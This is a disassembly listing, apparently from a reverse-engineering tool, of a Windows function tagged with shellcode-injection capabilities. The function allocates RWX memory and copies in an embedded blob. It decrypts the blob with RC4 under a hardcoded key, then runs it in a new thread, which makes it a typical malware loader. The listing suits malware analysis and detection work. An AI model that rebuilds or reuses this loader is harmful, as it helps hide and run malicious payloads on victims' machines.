Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x140
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x130], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0x12c6c
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x3000
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
jne 0x140001076
lea rdx, str.Error:_No_se_pudo_asignar_memoria.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001310
mov rcx, rax
lea rdx, [0x1400014f0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, 1
jmp 0x1400012e7
mov r9d, 0x12c6c
mov qword [rsp + 0x20], 0
lea r8, [0x140005080]
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1400010da
lea rdx, str.Error:_No_se_pudo_escribir_en_la_memoria_del_proceso.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001310
mov rcx, rax
lea rdx, [0x1400014f0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, 1
jmp 0x1400012e7
movdqa xmm2, xmmword [0x1400033d0]
lea rdx, [rsp + 0x34]
movdqa xmm3, xmmword [0x1400033e0]
mov ecx, 8
nop dword [rax]
nop dword [rax + rax]
lea eax, [rcx - 8]
movd xmm0, eax
lea rdx, [rdx + 0x10]
pshufd xmm0, xmm0, 0
lea eax, [rcx - 4]
paddd xmm0, xmm2
movd xmm1, eax
pshufd xmm1, xmm1, 0
lea eax, [rcx + 4]
paddd xmm1, xmm2
andps xmm0, xmm3
andps xmm1, xmm3
packuswb xmm0, xmm0
packuswb xmm1, xmm1
packuswb xmm0, xmm0
movd dword [rdx - 0x14], xmm0
packuswb xmm1, xmm1
movd dword [rdx - 0x10], xmm1
movd xmm0, ecx
add ecx, 0x10
pshufd xmm0, xmm0, 0
paddd xmm0, xmm2
movd xmm1, eax
pshufd xmm1, xmm1, 0
andps xmm0, xmm3
paddd xmm1, xmm2
packuswb xmm0, xmm0
andps xmm1, xmm3
packuswb xmm0, xmm0
movd dword [rdx - 0xc], xmm0
lea eax, [rcx - 8]
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd dword [rdx - 8], xmm1
cmp eax, 0x100
jl 0x140001100
xor r8b, r8b
lea r10, [rsp + 0x30]
xor r9d, r9d
lea rbx, str.c5REIDgIl252PO5qbV6OJdrUCixAohuGS3Yu
nop dword [rax]
nop dword [rax + rax]
movzx r11d, byte [r10]
mov eax, 0x38e38e39
mul r9d
movzx r8d, r8b
mov eax, r9d
shr edx, 3
lea ecx, [rdx + rdx*8]
shl ecx, 2
sub eax, ecx
movsxd rcx, eax
movsx edx, byte [rcx + rbx]
add edx, r11d
add r8d, edx
and r8d, 0x800000ff
jge 0x1400011f1
dec r8d
or r8d, 0xffffff00
inc r8d
movzx eax, r8b
lea rcx, [rsp + 0x30]
add rcx, rax
inc r9d
movzx eax, byte [rcx]
mov byte [r10], al
inc r10
mov byte [rcx], r11b
cmp r9d, 0x100
jl 0x1400011b0
xor eax, eax
xor r11b, r11b
xor ebx, ebx
mov r10, rdi
nop
inc eax
and eax, 0x800000ff
jge 0x140001232
dec eax
or eax, 0xffffff00
inc eax
movsxd rcx, eax
lea r9, [rsp + 0x30]
add r9, rcx
lea rdx, [rsp + 0x30]
inc ebx
movzx r8d, byte [r9]
add r11b, r8b
movzx ecx, r11b
add rdx, rcx
movzx ecx, byte [rdx]
mov byte [r9], cl
mov byte [rdx], r8b
movzx edx, byte [r9]
add rdx, r8
movzx ecx, dl
movzx edx, byte [rsp + rcx + 0x30]
xor byte [r10], dl
inc r10
cmp ebx, 0x12c6c
jb 0x140001220
mov qword [rsp + 0x28], 0
xor r9d, r9d
mov r8, rdi
mov dword [rsp + 0x20], 0
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbx, rax
test rax, rax
jne 0x1400012ad
lea rdx, str.Error:_No_se_pudo_crear_el_hilo.
jmp 0x1400010a3
mov edx, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
test eax, eax
jne 0x1400012e5
lea rdx, str.Error:_No_se_pudo_liberar_la_memoria_asignada.
jmp 0x140001050
xor eax, eax
mov rcx, qword [rsp + 0x130]
xor rcx, rsp
call fcn.1400015b0
mov rbx, qword [rsp + 0x150]
add rsp, 0x140
pop rdi
ret